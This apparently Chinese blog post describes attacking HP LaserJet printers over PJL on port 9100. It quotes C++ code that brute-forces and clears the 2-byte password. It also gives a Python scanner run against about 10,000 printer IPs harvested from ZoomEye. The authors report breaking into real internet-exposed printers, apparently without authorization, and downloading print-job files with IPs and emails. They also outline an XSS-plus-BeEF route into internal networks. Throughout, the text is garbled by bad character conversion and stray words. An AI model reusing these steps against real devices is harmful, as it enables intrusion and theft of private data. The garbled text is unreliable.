0x01 漏洞概要html
PCL表明打印機控制語言(Printer Control Language),由惠普公司開發,並被普遍使用的一種打印機協議。關於另外一種頁面描述語言,應該提一提由Adobe設計的PostScript(PS),它能夠將更爲複雜的事情交由繪圖儀/打印機處理。PJL (Printer Job Language,打印機做業語言)做爲PCL的擴展,用於指導打印機行爲,好比更改設備設置、傳輸文件等。 若打印機的9100端口向公網開啓,在向打印機發送PJL指令以前須要對使用者的身份進行認證,認證程序的密鑰長度爲2字節(Byte),所以能夠經過暴力破解認證密鑰想打印機發送PJL指令,最終致使任意命令的執行。python
PJL (Printer Job Language)程序用於告訴打印機執行什麼動做,是對PCL的額外支持。 PJL (Printer Job Language) 用於規範格式化頁面的基本語言。自己是無害的,但卻成爲大多數解析器和解釋器的漏洞利用代碼。git
打印機系統9100端口開啓時,若連上該端口經過PJL指令發送設備名稱請求並獲得打印機的響應,說明能夠未受權訪問打印機,PJL保護機制的密鑰由2個字節(16比特)的存儲單位存儲,能夠進行暴力破解攻擊,從而獲得目標打印機的徹底訪問權限。github
根據國外安全研究員PHENOELIT 已經寫好了漏洞利用程序,對其中的主要代碼進行分析,獲得下面的流程圖json
下面是破解密鑰部分的代碼:瀏覽器
void PJLsession::blind_disable_pjl_password(unsigned int pass) { String ts; char numb[50]; if ((pass==0)||(pass>65535)) throw ExInvalid();#ifndef UNIX _snprintf(numb,49,"%u",pass);#else snprintf(numb,49,"%u",pass);#endif //UNIX connection.clear(); connection.sendbuf.set(PJL_START); connection.sendbuf.append("\r\n"); connection.sendbuf.append("@PJL JOB PASSWORD="); connection.sendbuf.append(numb); connection.sendbuf.append("\r\n@PJL DEFAULT PASSWORD=0 \r\n"); connection.sendbuf.append("@PJL EOJ\r\n"); connection.sendbuf.append(PJL_FINISH); connection.senddata(); // TEST !!! // connection.recvatleast(9,ctimeout); // end TEST connection.sendbuf.clear(); }
由於打印機所使用的密碼長度只有2個字節,即16個bit, 65535中表示方法,因此密碼範圍在0到65535之間,這就是爲何程序能暴力破解打印機認證密碼。緩存
connection.sendbuf.set()後面根據PJL協議發送指定的數據包。使攻擊者在破解密碼以後能夠用裏面的命令進行任意操做了。安全
首先獲取可能存在漏洞的打印機IP地址,打開www.zoomeye.org,輸入漏洞關鍵字 HP LaserJet 進行搜索。搜索結果以下:網絡
從結果中能夠看到一些帶有 HP LaserJet 標籤的互聯網主機和所屬國家信息,這些主機就頗有可能隱藏着打印機漏洞。咱們從中選取一些進行測試。session
Nmap的掃描結果顯示主機不但開啓了9100端口,80,443,23端口也開着,入侵也就多了一些其餘的方式。
咱們使用 PHENOELIT 開發的PFT工具來進行滲透測試。這個用C++寫成的黑客工具備簡單的命令行交互界面,專門用來破解PLJ接口的打印機,獲取打印機的環境變量、文件系統和重要目標文件。
咱們運行PFT工具,用 help 命令查看幫助文檔
能夠用PFT提供的暴力破解功能清除掉打印機的 PJL 程序保護。
顯示密碼清除成功,使用 ls 命令查看打印機上硬盤裏的文件:
在這裏能夠查看打印機硬盤中存放的全部東西。若是打印機緩存了打印文件,在這裏也是能夠找到的。咱們能夠進入一個目錄選擇一個文件下載到本地:
查看L006105.XML文件的內容:
在這裏能夠查看到一些諸如本次打印的任務主機IP,郵箱,打印的文件名等敏感信息。
存在於惠普打印機中風險的僅僅是拒絕服務,信息泄漏這麼簡單嗎?在 Exploit-DB網站 中找到 HPLaserJet printers - Multiple Stored XSS Vulnerabilities(點擊鏈接) 惠普打印機的多個存儲型 XSS 漏洞, 對應 CVE 號: CVE-2012-3272 沒給出利用方式,試着打開瀏覽器Fuzz了出來: 點擊WEB的「支持信息」鏈接
點擊 Apply 按鈕,出現了 XSS 彈框:
利用該漏洞,配合 Beef 攻擊框架,經過一段編寫好的 JavaScript(hook.js)控制目標主機的瀏覽器,經過目標主機瀏覽器得到該主機的詳細信息,並進一步掃描內網,配合 Metasploit 絕對是內網滲透一大殺器。
HP打印機的廠商已經對固件進行了升級,採用更安全的加密機制處理PJL密鑰,不過因爲全球範圍用戶基數比較大,已經用戶安全意識不強,依然大量存在這種受害打印機,由ZoomEye網絡空間搜索引擎導出的數據接合咱們小組寫的自動化掃描腳本。
#!/usr/bin/env python # -*- coding: UTF-8 -*- import socket import json import sys from optparse import OptionParser PJL_START = "\033%-12345X@PJL " PJL_FINISH = "\033%-12345X\r\n" PJL_USTATUS = "USTATUS DEVICE=" PJL_INFO_ID = "INFO ID\r\n" EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH #PJL 語言 DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH #PJL 語言 獲取設備型號 class Printer(): def __init__(self): self.usage() if sys.argv < 1 : self.usage() self.readfile(options.file) def usage(self): parser = OptionParser() parser.add_option("-i", "--ip", dest="ip", help="test single ip") # parser.add_option("-f", "--file",dest="file", help="files ") # global options (options, args) = parser.parse_args() def Buildsocket(self, ip, port=9100): sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) #與主機創建socket鏈接 sock.settimeout(5) try: sock.connect((ip, port)) except: print "[!*]-ip-%s-can't connect--" % ip return 'error' sock.send(EOF) sock.send(DEVICEID) # 發送PJL指令給遠程打印機 try: device = sock.recv(1024) except: return 'No' print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device) sock.close() return 'OK' def GetDiviceMap(self, data,status): f = open('result.txt', 'a+') try: f.write(str(data['ip']) + ', ' + status + ', ' + str(data['geoinfo']['country']['name']['en']) +', '+ str(data['geoinfo']['city']['en']) + ', ' + str(data['geoinfo']['location']['longitude']) +', '+ str(data['geoinfo']['location']['latitude']) + ', ' + str(data['geoinfo']['country']['code']) +', ' + str(data['geoinfo']['continent']['name']['en']) + "\r\n") except: pass f.close() def readfile(self, file): Vuln_ip = 0 # ip 列表輸入的IP數量 No_vuln_ip = 0 CantConnectIP = 0 linenum = 0 f = open(file, 'r') for line in f.readlines(): data = json.loads(line) status = self.Buildsocket(data['ip']) if status == 'error': CantConnectIP += 1 elif status == 'No': No_vuln_ip += 1 else: Vuln_ip += 1 self.GetDiviceMap(data, status) linenum += 1 print "[!*]-Now-is-%s-lines" % str(linenum) f.close() print str(CantConnectIP) + " " + str(No_vuln_ip) + " " + str(Vuln_ip) if __name__ == '__main__': Printer()
全球影響面
這個漏洞波及了不少國家和地區,以美國最盛。咱們用小組開發的自動化腳本加上ZoomEye提供的1萬組惠普打印機IP進行測試。 結果繪製成圖表以下。
能夠看到,美國是 PCL 打印機漏洞的重災區,至今還擁有數量最多的漏洞主機。韓國也受到了很大的影響。其餘國家,包括中國,有漏洞的打印機數量都很少,並且一半以上已被修復。
對打印機管理員有如下建議:
像打印機,攝像頭這種聯網類型的設備,目前你們對這方面的安全意識須要進一步增強,最好把設備控制在內網使用。若是須要提供到外網接口,必定要採起必定的安全措施,默認的安全口令也須要修改。增長攻擊人員的成本從而使得設備更加安全。
本文由 我和另外兩個小夥伴 fengxuan zhufengdaaa 完成
原文首發於:http://zhufengdaaa.github.io
參考網址:
https://www.altamiracorp.com/blog/employee-posts/hacking-hp-printers-for-fun-profit
https://en.wikipedia.org/wiki/Printer_Job_Language
http://www.51cto.com/art/200508/7989.htm